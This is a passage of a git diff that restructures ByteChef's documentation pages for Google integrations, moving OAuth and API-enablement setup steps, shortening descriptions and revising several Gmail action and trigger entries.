@@ -715,8 +683,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -778,7 +744,6 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -789,8 +754,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Calendar API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "calendar" in the search bar.
+5. Click on **Google Calendar API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/c1fe8158-a72f-45ed-942e-c1bab5802afa?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-chat_v1.mdx b/docs/content/docs/reference/components/google-chat_v1.mdx
index 30530bdcc6a..98f525703c7 100644
--- a/docs/content/docs/reference/components/google-chat_v1.mdx
+++ b/docs/content/docs/reference/components/google-chat_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Chat"
-description: "Google Chat is an intelligent and secure communication and collaboration tool, built for teams."
+description: "Google Chat component for ByteChef. Team messaging and collaboration. Learn how to implement this in your ByteChef workflows."
+title: Google Chat
 ---
 
-
 Categories: Communication
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Chat API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google chat api" in the search bar.
-5. Click on **Google Chat API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4840c5c7-bb9a-4c7d-8035-772d3162398a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -127,8 +107,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Space
 Name: createSpace
 
@@ -200,14 +178,31 @@ Type: OBJECT
 
 
 
-
-
 <hr />
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Chat API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google chat api" in the search bar.
+5. Click on **Google Chat API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/4840c5c7-bb9a-4c7d-8035-772d3162398a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-contacts_v1.mdx b/docs/content/docs/reference/components/google-contacts_v1.mdx
index f38a47aff0b..a36f43f4255 100644
--- a/docs/content/docs/reference/components/google-contacts_v1.mdx
+++ b/docs/content/docs/reference/components/google-contacts_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Contacts"
-description: "Google Contacts is a cloud-based address book service provided by Google, allowing users to store, manage, and synchronize their contact information across multiple devices and platforms."
+description: "Google Contacts component for ByteChef. Contact management. Learn how to implement this in your ByteChef workflows."
+title: Google Contacts
 ---
 
-
 Categories: CRM
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Contacts API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "contacts api" in the search bar.
-5. Click on **Contacts API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0273c3ce-b963-45c0-b7f9-25e893ef060c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -133,8 +113,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Group
 Name: createGroup
 
@@ -182,8 +160,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Contact
 Name: updateContact
 
@@ -262,8 +238,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Contacts
 Name: searchContacts
 
@@ -337,8 +311,6 @@ Items Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -349,8 +321,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Contacts API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "contacts api" in the search bar.
+5. Click on **Contacts API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/0273c3ce-b963-45c0-b7f9-25e893ef060c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-docs_v1.mdx b/docs/content/docs/reference/components/google-docs_v1.mdx
index 12fc9beec76..53a148862d5 100644
--- a/docs/content/docs/reference/components/google-docs_v1.mdx
+++ b/docs/content/docs/reference/components/google-docs_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Docs"
-description: "Google Docs is a cloud-based collaborative word processing platform that allows multiple users to create, edit, and share documents in real-time."
+description: "Google Docs component for ByteChef. Document collaboration. Learn how to implement this in your ByteChef workflows."
+title: Google Docs
 ---
 
-
 Categories: File Storage
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Docs API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google docs api" in the search bar.
-5. Click on **Google Docs API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/2fbfa39b-38f6-43f4-a55d-6f8d0588f6fb?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -89,8 +69,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Create Document From Template
 Name: createDocumentFromTemplate
 
@@ -129,8 +107,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Document
 Name: getDocument
 
@@ -163,8 +139,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -175,8 +149,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Docs API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google docs api" in the search bar.
+5. Click on **Google Docs API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
+    <iframe src="https://www.guidejar.com/embed/2fbfa39b-38f6-43f4-a55d-6f8d0588f6fb?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-drive_v1.mdx b/docs/content/docs/reference/components/google-drive_v1.mdx
index 6729d4537d4..14310a4d46f 100644
--- a/docs/content/docs/reference/components/google-drive_v1.mdx
+++ b/docs/content/docs/reference/components/google-drive_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Drive"
-description: "Google Drive is a cloud storage service by Google that enables users to store, sync, share files, and collaborate online."
+description: "Google Drive component for ByteChef. Cloud storage and files. Learn how to implement this in your ByteChef workflows."
+title: Google Drive
 ---
 
-
 Categories: File Storage
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Drive API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google drive api" in the search bar.
-5. Click on **Google Drive API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4e69ce7b-c430-443c-801c-b01ea2781c39?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -114,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create New Folder
 Name: createNewFolder
 
@@ -176,8 +154,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create New Text File
 Name: createNewTextFile
 
@@ -242,8 +218,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Delete File
 Name: deleteFile
 
@@ -274,8 +248,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Download File
 Name: downloadFile
 
@@ -329,8 +301,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Get File
 Name: getFile
 
@@ -384,8 +354,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### List Files
 Name: listFiles
 
@@ -442,8 +410,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### List Folders
 Name: listFolders
 
@@ -500,8 +466,6 @@ Items Type: OBJECT
 ```
 
 
-
-
 ### Upload File
 Name: uploadFile
 
@@ -568,8 +532,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -622,7 +584,6 @@ Items Type: OBJECT
 ```
 
 
-
 ### New Folder
 Name: newFolder
 
@@ -674,7 +635,6 @@ Items Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -685,8 +645,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Drive API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google drive api" in the search bar.
+5. Click on **Google Drive API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/4e69ce7b-c430-443c-801c-b01ea2781c39?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-forms_v1.mdx b/docs/content/docs/reference/components/google-forms_v1.mdx
index 8ce7c1e83e0..25efddda2c6 100644
--- a/docs/content/docs/reference/components/google-forms_v1.mdx
+++ b/docs/content/docs/reference/components/google-forms_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Forms"
-description: "Google Forms is a web-based application that allows users to create surveys, quizzes, and forms for data collection and analysis, with real-time collaboration and response tracking."
+description: "Google Forms component for ByteChef. Surveys and questionnaires. Learn how to implement this in your ByteChef workflows."
+title: Google Forms
 ---
 
-
 Categories: Surveys and Feedback
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Forms API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google forms api" in the search bar.
-5. Click on **Google Forms API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6O0wffw3j1b6d9hcAxOy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -87,8 +67,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Form
 Name: getForm
 
@@ -119,8 +97,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Response
 Name: getResponse
 
@@ -154,8 +130,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ## Triggers
 
 
@@ -192,7 +166,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
@@ -203,8 +176,27 @@ To create a Custom Action, simply specify the desired HTTP method, path, and any
 
 # Additional Instructions
 
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Google Forms API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "google forms api" in the search bar.
+5. Click on **Google Forms API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6O0wffw3j1b6d9hcAxOy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
-Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
+Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-mail_v1.mdx b/docs/content/docs/reference/components/google-mail_v1.mdx
index cc4ba495149..4a4fe148853 100644
--- a/docs/content/docs/reference/components/google-mail_v1.mdx
+++ b/docs/content/docs/reference/components/google-mail_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Gmail"
-description: "Gmail is a widely used email service by Google, offering free and feature-rich communication, organization, and storage capabilities accessible through web browsers and mobile apps."
+description: "Google Mail component for ByteChef. Gmail email management. Learn how to implement this in your ByteChef workflows."
+title: Gmail
 ---
 
-
 Categories: Communication
 
 
@@ -30,25 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Gmail API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "gmail api" in the search bar.
-5. Click on **Gmail API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2d7279c7-91c3-43c9-9004-99f08d7e30ff?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -110,116 +90,6 @@ Type: OBJECT
 ```
 
 
-
-
-### Archive Email
-Name: archiveEmail
-
-`Archive an Email message.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| id | Message ID | STRING | ID of the message to be archived. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Archive Email",
-  "name" : "archiveEmail",
-  "parameters" : {
-    "id" : ""
-  },
-  "type" : "googleMail/v1/archiveEmail"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING | The ID of the message. |
-| threadId | STRING | The ID of the thread the message belongs to. |
-| labelIds | ARRAY <details> <summary> Items </summary> [STRING] </details> | List of IDs of labels applied to this message. |
-
-
-
-
-#### Output Example
-```json
-{
-  "id" : "",
-  "threadId" : "",
-  "labelIds" : [ "" ]
-}
-```
-
-
-
-
-### Create Label
-Name: createLabel
-
-`Creates a new label.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| name | Name | STRING | The display name of the newly created label. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Create Label",
-  "name" : "createLabel",
-  "parameters" : {
-    "name" : ""
-  },
-  "type" : "googleMail/v1/createLabel"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING | ID of the newly created label. |
-| labelListVisibility | STRING | The visibility of the label in the label list in the Gmail web interface. |
-| messageListVisibility | STRING | The visibility of messages with this label in the message list in the Gmail web interface. |
-| name | STRING | The display name of the label. |
-
-
-
-
-#### Output Example
-```json
-{
-  "id" : "",
-  "labelListVisibility" : "",
-  "messageListVisibility" : "",
-  "name" : ""
-}
-```
-
-
-
-
 ### Delete Mail
 Name: deleteMail
 
@@ -250,8 +120,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Mail
 Name: getMail
 
@@ -286,8 +154,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Get Thread
 Name: getThread
 
@@ -322,59 +188,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
-### List Labels
-Name: listLabels
-
-`Lists labels that are connected to your Google Mail account.`
-
-#### Example JSON Structure
-```json
-{
-  "label" : "List Labels",
-  "name" : "listLabels",
-  "type" : "googleMail/v1/listLabels"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: OBJECT
-
-
-#### Properties
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| name | STRING | The display name of the label. |
-| id | STRING | ID of the label. |
-| messageListVisibility | STRING | The visibility of messages with this label in the message list in the Gmail web interface. |
-| labelListVisibility | STRING | The visibility of the label in the label list in the Gmail web interface. |
-| type | STRING | The owner type for the label. |
-
-
-
-
-
-#### Output Example
-```json
-[ {
-  "name" : "",
-  "id" : "",
-  "messageListVisibility" : "",
-  "labelListVisibility" : "",
-  "type" : ""
-} ]
-```
-
-
-
-
 ### Remove Labels
 Name: removeLabels
 
@@ -428,8 +241,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Reply to Email
 Name: replyToEmail
 
@@ -499,8 +310,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Search Email
 Name: searchEmail
 
@@ -569,8 +378,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Email
 Name: sendEmail
 
@@ -643,8 +450,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -679,6 +484,79 @@ The output for this action is dynamic and may vary depending on the input parame
   "type" : "googleMail/v1/newEmail"
 }
 ```
+
+
+### New Email Polling
+Name: newEmailPolling
+
+`Periodically checks your Gmail inbox for any new incoming emails.`
+
+Type: POLLING
+
+
+#### Output
+
+
+
+Type: ARRAY
+
+
+Items Type: OBJECT
+
+
+#### Properties
+|     Name     |     Type     |     Description     |
+|:------------:|:------------:|:-------------------:|
+| id | STRING | ID of the message. |
+| threadId | STRING | The ID of the thread the message belongs to. |
+
+
+
+
+
+#### JSON Example
+```json
+{
+  "label" : "New Email Polling",
+  "name" : "newEmailPolling",
+  "type" : "googleMail/v1/newEmailPolling"
+}
+```
+
+
+
+
+## What to do if your action is not listed here?
+
+If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
+
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
+
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create OAuth 2.0 Application
+
+Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
+
+### Enable Gmail API
+
+1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
+2. Go to the **APIs & Services**.
+3. Click on **ENABLE APIS AND SERVICES**.
+4. Search for "gmail api" in the search bar.
+5. Click on **Gmail API**.
+6. Click **Enable**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/2d7279c7-91c3-43c9-9004-99f08d7e30ff?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
+## Trigger Setup
+
 ### New Email Trigger Setup
 
 Setting up Pub/Sub service
@@ -707,41 +585,10 @@ Setting up Pub/Sub service
 22. Click on **MyTopic**.
 23. This is your **topic name**.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/934ccb3b-1052-440e-bcfa-9cd5d27b8a91?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
-
-
-### New Email Polling
-Name: newEmailPolling
-
-`Periodically checks your Gmail inbox for any new incoming emails.`
-
-Type: POLLING
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| format | Format | STRING <details> <summary> Options </summary> <span title="Returns email message's from, to, subject, body and attachments.">SIMPLE</span>, <span title="Returns only email message ID and labels; does not return the email headers, body, or payload.">MINIMAL</span>, <span title="Returns the full email message data with body content parsed in the payload field; the raw field is not used. Format cannot be used when accessing the api using the gmail.metadata scope.">FULL</span>, <span title="Returns the full email message data with body content in the raw field as a base64url encoded string; the payload field is not used. Format cannot be used when accessing the api using the gmail.metadata scope.">RAW</span>, <span title="Returns only email message ID, labels, and email headers.">metadata</span> </details> | The format to return the message in. | false |
-
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-#### JSON Example
-```json
-{
-  "label" : "New Email Polling",
-  "name" : "newEmailPolling",
-  "parameters" : {
-    "format" : ""
-  },
-  "type" : "googleMail/v1/newEmailPolling"
-}
-```
 ### New Email Pooling Trigger Setup
 
 Turning on Google Calendar API
@@ -755,28 +602,14 @@ Gmail doesn’t manage its own time zone; it inherits the time zone from your Go
 5. Click on **Enable**.
 6. Done 🚀
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/157feabc-9dec-4ac4-a538-5aa6a0bb0928?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
-
-
-
-
-## What to do if your action is not listed here?
-
-If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
-
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
-<hr />
-
-# Additional Instructions
-
 ## Troubleshooting
 
 ### Access Blocked: Verification Process Not Completed
 
 Documentation for how to add a test user can be found [here](/reference/components/google-application-setup_v1#access-blocked-verification-process-not-completed)
 
-![anl-c-google-mail-md](https://static.scarf.sh/a.png?x-pxid=2bfa99dc-2ceb-4a8f-9b0e-26650c2f0f95)
+![anl-c-google-mail-md](https://static.scarf.sh/a.png?x-pxid=2bfa99dc-2ceb-4a8f-9b0e-26650c2f0f95)
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/google-maps_v1.mdx b/docs/content/docs/reference/components/google-maps_v1.mdx
index cb7e0f29004..dc703dbc202 100644
--- a/docs/content/docs/reference/components/google-maps_v1.mdx
+++ b/docs/content/docs/reference/components/google-maps_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Google Maps"
-description: "Google Maps is a widely used mapping service by Google, offering free and feature-rich navigation, location discovery, and real-time traffic updates accessible through web browsers and mobile apps."
+description: "Google Maps component for ByteChef. Integrate mapping and location services into your automation workflows."
+title: Google Maps
 ---
 
-
 Categories: Helpers
